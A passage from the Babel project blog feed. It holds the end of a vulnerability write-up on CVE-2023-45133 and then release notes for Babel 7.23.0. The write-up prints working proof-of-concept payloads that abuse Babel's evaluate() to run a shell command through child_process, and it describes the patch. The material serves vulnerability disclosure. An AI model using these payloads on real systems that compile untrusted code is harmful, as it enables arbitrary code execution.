<li class="">The callee is a member expression, where<!-- -->
<ul>
<li class="">The object is an identifier, with name whitelisted by <code>VALID_OBJECT_CALLEES</code></li>
<li class="">The property is an identifier, not blacklisted by <code>INVALID_METHODS</code></li>
</ul>
</li>
<li class="">The arguments are a single string literal, containing the code to be executed.</li>
</ul>
</li>
</ul>
<p>Therefore, the code is considered safe to evaluate, and we have successfuly crafted a malicious function.</p>
<p>However, it is crucial to note that this <em>cannot call the function on its own</em>. It only <strong>creates an anonymous function</strong>.</p>
<p>So, how exactly <em>can</em> we call the function? This is where the second piece of the puzzle comes in: <strong>object expressions</strong>.</p>
<h4 class="anchor anchorTargetStickyNavbar_tleR" id="handling-of-object-expressions">Handling of Object Expressions<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#handling-of-object-expressions" class="hash-link" aria-label="Direct link to Handling of Object Expressions" title="Direct link to Handling of Object Expressions" translate="no">​</a></h4>
<p>Within Babel’s <code>_evaluate</code> method, an <code>ObjectExpression</code> node undergoes recursive evaluation, producing a true JavaScript object. There’s no limitation on key names for <code>ObjectProperty</code>. As long as every <code>ObjectProperty</code> child in the <code>ObjectExpression</code> yields <code>confident: true</code> from <code>_evaluate()</code>, we can obtain a JavaScript object with custom keys/values.</p>
<p>A key property to leverage is <code>toString</code> (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString" target="_blank" rel="noopener noreferrer" class="">MDN Reference</a>). Defining this property on an object to a function we control will allow us to execute arbitrary code when the object is converted to a string.</p>
<p>This is exactly what we do in the payload:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token known-class-name class-name" style="color:#eab700">String</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain">  </span><span class="token literal-property property">toString</span><span class="token operator">:</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Number</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"console.log(process.mainModule.require('child_process').execSync('id').toString())"</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>We’ve assigned our malicious function, crafted via the <code>Function</code> constructor, to the <code>toString</code> property of the object. Thus, when this object undergoes a string conversion, it gets triggered and executed.</p>
<p>In the provided example, we pass the object to the <code>String</code> function, given its status as a whitelisted function (referenced in case 1). Still, the <code>String</code> constructor isn’t mandatory. Implicit type coercion in JavaScript can also trigger our malicious function, as demonstratedin these alternative payload formats:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token string" style="color:#718c00">""</span><span class="token operator">+</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain">  </span><span class="token literal-property property">toString</span><span class="token operator">:</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Number</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"console.log(process.mainModule.require('child_process').execSync('id').toString())"</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token number" style="color:#f5871f">1</span><span class="token operator">+</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain">  </span><span class="token literal-property property">valueOf</span><span class="token operator">:</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Number</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"console.log(process.mainModule.require('child_process').execSync('id').toString())"</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>The first example employs type-coercion to transform the object into a string. In contrast, the second example utilizes type-coercion to convert it into a number, as detailed in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf" target="_blank" rel="noopener noreferrer" class="">Object.prototype.valueOf()</a>. Both examples exploit the <code>_evaluate()</code> method’s approach to handling <code>BinaryExpression</code> nodes, which directly performs the operation after recursively evaluating the left and right operands.</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="the-patch">The Patch<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#the-patch" class="hash-link" aria-label="Direct link to The Patch" title="Direct link to The Patch" translate="no">​</a></h2>
<p>Upon disclosing this vulnerability, I was impressed by the swift response from the Babel team, who promptly rolled out a patch. This patch was released in two parts:</p>
<p>The first of which was a workaround for all of the affected official Babel packages, by guarding the calls to <code>evalute()</code> with an <code>isPure()</code> check. <a href="https://github.com/babel/babel/blob/4c155667cf50291132089a4556cd3c6cc9d2e640/packages/babel-traverse/src/scope/index.ts#L871" target="_blank" rel="noopener noreferrer" class="">isPure</a> inherently prevents this bug, as it returns false for all <code>MemberExpression</code> nodes. <a href="https://github.com/babel/babel/pull/16032" target="_blank" rel="noopener noreferrer" class="">PR #16032: Update babel-polyfills packages</a></p>
<p>The subsequent step involved refining the <code>evaluate()</code> function. This adjustment ensured that all inherited methods, not only <code>constructor</code>, were prevented from being called. <a href="https://github.com/babel/babel/pull/16033" target="_blank" rel="noopener noreferrer" class="">PR #16033: Only evaluate own String/Number/Math methods</a></p>
<p>After the fixes were implemented, GitHub staff issued <a href="https://github.com/advisories/GHSA-67hx-6x53-jw92" target="_blank" rel="noopener noreferrer" class=""><strong>CVE-2023-45133</strong></a> for the security advisory.</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="a-side-note-on-disclosure-timing">A side note on disclosure timing<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#a-side-note-on-disclosure-timing" class="hash-link" aria-label="Direct link to A side note on disclosure timing" title="Direct link to A side note on disclosure timing" translate="no">​</a></h2>
<p>You might have noticed that this blog post was released on the same day as the security advisory. Usually for critical vulnerabilities, it’s customary to wait a while before disclosing a proof of concept. However, I believe this disclosure timing is justifiable for a few reasons:</p>
<p>Predominantly, the vast majority of Babel users remain unaffected by this vulnerability. Babel is primarily utilized for refactoring and transpiling <strong>one’s own code</strong>, which means the typical use case doesn’t expose users to this risk. It’s improbable that many have server-side implementations that accept and process arbitrary code from users through the compilation plugins or the invocation of <code>path.evaluate</code>. Furthermore, there are really only a couple real use-cases for using Babel to analyze untrusted code on the server-side:</p>
<ol>
<li class="">Reverse engineering bot mitigation software, etc.</li>
<li class="">Malware analysis</li>
</ol>
<p>In the first case, I doubt any legitimate bot mitigation entity would try to attempt Remote Code Execution (RCE) due to the legal ramifications. Meanwhile, professionals using Babel for malware reversal possess the expertise to conduct their analyses within controlled, sandboxed environments. Thus, the risk to the community, in real-world scenarios, remains minimal.</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="conclusion">Conclusion<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#conclusion" class="hash-link" aria-label="Direct link to Conclusion" title="Direct link to Conclusion" translate="no">​</a></h2>
<p>Discovering and delving into this vulnerability was a fun experience. I initially stumbled upon the vulnerability during a brainstorming session for a Babel-based challenge for UofTCTF’s upcoming capture the flag competition, where I was focusing on an entirely different, non-security-related “bug”.</p>
<p>This vulnerability predominantly impacts those integrating untrusted code with Babel. Unfortunately, this places individuals leveraging Babel for “static deobfuscation” directly in the crosshairs of this attack vector.</p>
<p>There’s a touch of irony in the fact that my first credited CVE emerged from reverse engineering Babel - the very tool I often employ for reverse engineering JavaScript, and the topic of all of my previous posts 🤣.</p>
<p>This was a great learning experience, and hopefully this write-up was useful to you as well. Thanks for reading, and take care!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="references">References<a href="https://babeljs.io/blog/2023/10/16/cve-2023-45133#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://www.cve.org/CVERecord?id=CVE-2023-45133" target="_blank" rel="noopener noreferrer" class="">CVE-2023-45133</a></li>
<li class=""><a href="https://github.com/advisories/GHSA-67hx-6x53-jw92" target="_blank" rel="noopener noreferrer" class="">GitHub Advisory Database: Arbitrary code execution when compiling specifically crafted malicious code</a></li>
</ul>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[7.23.0 Released: Decorator Metadata and many new `import` features!]]></title>
            <link>https://babeljs.io/blog/2023/09/25/7.23.0</link>
            <guid>https://babeljs.io/blog/2023/09/25/7.23.0</guid>
            <pubDate>Mon, 25 Sep 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[We just released Babel 7.23.0! 🎉]]></description>
            <content:encoded><![CDATA[<p>We just released Babel 7.23.0! 🎉</p>
<p>It includes transform support for the <a href="https://github.com/tc39/proposal-decorator-metadata/" target="_blank" rel="noopener noreferrer" class="">Decorator Metadata</a>, <a href="https://github.com/tc39/proposal-source-phase-imports" target="_blank" rel="noopener noreferrer" class="">Source Phase Import</a>, <a href="https://github.com/tc39/proposal-defer-import-eval" target="_blank" rel="noopener noreferrer" class="">Deferred Import Evaluation</a>, and <a href="https://github.com/tc39/proposal-optional-chaining-assignment" target="_blank" rel="noopener noreferrer" class="">Optional Chaining Assignment</a> proposals. We also updated our parser to support the new TypeScript 5.2 version, and added a transform option to let you use the <code>.ts</code> extension within TypeScript imports.</p>
<p>In addition to releasing version 7.23.0, we also recently published the first Babel 8 alpha release!</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.23.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2023/09/25/7.23.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="decorator-metadata-15895">Decorator Metadata (<a href="https://github.com/babel/babel/pull/15895" target="_blank" rel="noopener noreferrer" class="">#15895</a>)<a href="https://babeljs.io/blog/2023/09/25/7.23.0#decorator-metadata-15895" class="hash-link" aria-label="Direct link to decorator-metadata-15895" title="Direct link to decorator-metadata-15895" translate="no">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-decorator-metadata/" target="_blank" rel="noopener noreferrer" class="">decorator metadata</a> Stage 3 proposal extends the <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer" class="">Decorator</a> proposal, allowing decorators to communicate with each other by sharing some metadata.</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">write</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">_</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> context</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  context</span><span class="token punctuation">.</span><span class="token property-access">metadata</span><span class="token punctuation">.</span><span class="token property-access">message</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Hello from writer!"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">read</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">_</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> context</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">context</span><span class="token punctuation">.</span><span class="token property-access">metadata</span><span class="token punctuation">.</span><span class="token property-access">message</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">@read </span><span class="token comment" style="color:#8e908c">// Logs "Hello from writer!"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">A</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  @write x</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>While we usually have one plugin per proposal, these two proposals are so closely related that we decided to include support for Decorator Metadata directly in <code>@babel/plugin-proposal-decorators</code>. If you are on the latest version of Babel and you are already using standard-track decorators, this proposal is enabled by default.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="source-phase-imports-for-webassembly-modules-15829-15870">Source Phase Imports for WebAssembly modules (<a href="https://github.com/babel/babel/pull/15829" target="_blank" rel="noopener noreferrer" class="">#15829</a>, <a href="https://github.com/babel/babel/pull/15870" target="_blank" rel="noopener noreferrer" class="">#15870</a>)<a href="https://babeljs.io/blog/2023/09/25/7.23.0#source-phase-imports-for-webassembly-modules-15829-15870" class="hash-link" aria-label="Direct link to source-phase-imports-for-webassembly-modules-15829-15870" title="Direct link to source-phase-imports-for-webassembly-modules-15829-15870" translate="no">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-source-phase-imports" target="_blank" rel="noopener noreferrer" class="">Source Phase Import</a> Stage 3 proposal allows importing an object representation of the <em>source</em> of a module, without evaluating it and without loading its dependencies. You can load module sources using the <code>import source</code> syntax, for languages that have a defined source representation:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> source fooSource </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"foo"</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>The motivating use case is to have static syntax to load <code>WebAssembly.Module</code> objects, rather than being forced to do so dynamically:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// Before</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> url </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">import</span><span class="token punctuation">.</span><span class="token property-access">meta</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./my-wasm/module.wasm"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> responsePromise </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">fetch</span><span class="token punctuation">(</span><span class="token plain">url</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> mod </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:#eab700">WebAssembly</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">compileStreaming</span><span class="token punctuation">(</span><span class="token plain">responsePromise</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// After</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> source mod </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./my-wasm/module.wasm"</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>Babel now supports transforming source imports for WebAssembly modules targeting Node.js, Web-compatible environments (browsers and Deno), or both, depending on your configured <a href="https://babeljs.io/docs/options#targets" target="_blank" rel="noopener noreferrer" class=""><code>targets</code></a>.</p>
<p>You can transform it using the <code>@babel/plugin-proposal-import-wasm-source</code> plugin:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"targets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"chrome 90"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"firefox 90"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"node 20.6"</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-import-wasm-source"</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="deferred-import-evaluation-15845-15878">Deferred Import Evaluation (<a href="https://github.com/babel/babel/pull/15845" target="_blank" rel="noopener noreferrer" class="">#15845</a>, <a href="https://github.com/babel/babel/pull/15878" target="_blank" rel="noopener noreferrer" class="">#15878</a>)<a href="https://babeljs.io/blog/2023/09/25/7.23.0#deferred-import-evaluation-15845-15878" class="hash-link" aria-label="Direct link to deferred-import-evaluation-15845-15878" title="Direct link to deferred-import-evaluation-15845-15878" translate="no">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-defer-import-eval/" target="_blank" rel="noopener noreferrer" class="">Deferred Import Evaluation</a> Stage 2 proposal allows deferring the (synchronous) evaluation of imported modules until they are used. This can greatly improve the startup performance of your code when using modules that have a significant initialization cost.</p>
<p>You can use the new <code>import defer</code> syntax to defer your imports:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// this line does not evaluate ./mod</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> defer </span><span class="token operator">*</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">as</span><span class="token plain"> myMod </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./mod"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function" style="color:#4271ae">later</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token arrow operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// this one evaluates it!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">use</span><span class="token punctuation">(</span><span class="token plain">myMod</span><span class="token punctuation">.</span><span class="token property-access">foo</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">)</span><br></span></code></pre></div></div>
<p>The <code>import defer</code> syntax only support namespace imports, so the following is not valid:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> defer modDefault </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./mod"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> defer </span><span class="token punctuation">{</span><span class="token plain"> named </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./mod"</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>Babel only supports compiling <code>import defer</code> when compiling ECMAScript modules to CommonJS, using the <code>@babel/plugin-proposal-import-defer</code> plugin:</p>
<div class="language-jsonc codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-jsonc codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">// babel.config.json</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "@babel/plugin-transform-modules-commonjs",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    "@babel/plugin-proposal-import-defer"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre></div></div>
<p>If you are using Babel with a bundler and thus you are not compiling modules via Babel, if your bundler supports <code>import defer</code> you can use <code>@babel/plugin-syntax-import-defer</code> to allow parsing the new syntax.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="optional-chaining-assignment-15751">Optional Chaining Assignment (<a href="https://github.com/babel/babel/pull/15751" target="_blank" rel="noopener noreferrer" class="">#15751</a>)<a href="https://babeljs.io/blog/2023/09/25/7.23.0#optional-chaining-assignment-15751" class="hash-link" aria-label="Direct link to optional-chaining-assignment-15751" title="Direct link to optional-chaining-assignment-15751" translate="no">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-optional-chaining-assignment" target="_blank" rel="noopener noreferrer" class="">Optional Chaining Assignment</a> Stage 1 proposal allows using optional chaining on the left side of assignment operators:</p>
<div class="language-javascript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-javascript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">maybeAnObj</span><span class="token operator">?.</span><span class="token plain">prop </span><span class="token operator">=</span><span class="token plain"> theValue</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Equivalent to</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword control-flow" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">maybeAnObj </span><span class="token operator">!=</span><span class="token plain"> </span><span class="token keyword null nil" style="color:#8959a8">null</span><span class="token punctuation">)</span><span class="token plain"> maybeAnObj</span><span class="token punctuation">.</span><span class="token property-access">prop</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> theValue</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>This proposal is championed by <a href="https://nicr.dev/" target="_blank" rel="noopener noreferrer" class="">Nicolò Ribaudo</a>, a member of the Babel team, and we are already implementing it at Stage 1 to gather feedback that can help the design process in TC39. If you have any comments, or any real-world examples or use cases you can share, please leave them <a href="https://github.com/tc39/proposal-optional-chaining-assignment/discussions" target="_blank" rel="noopener noreferrer" class="">in the proposal repository</a>!</p>
<p>You can try this proposal using the <code>@babel/plugin-proposal-optional-chaining-assign</code> plugin. Given the early stage and thus the high possibility of breaking changes, you must specify which version you want to use (currently only <code>2023-07</code> is supported):</p>
<div class="language-jsonc codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-jsonc codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">// babel.config.json</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/plugin-proposal-optional-chaining-assign", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "version": "2023-07"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre></div></div>
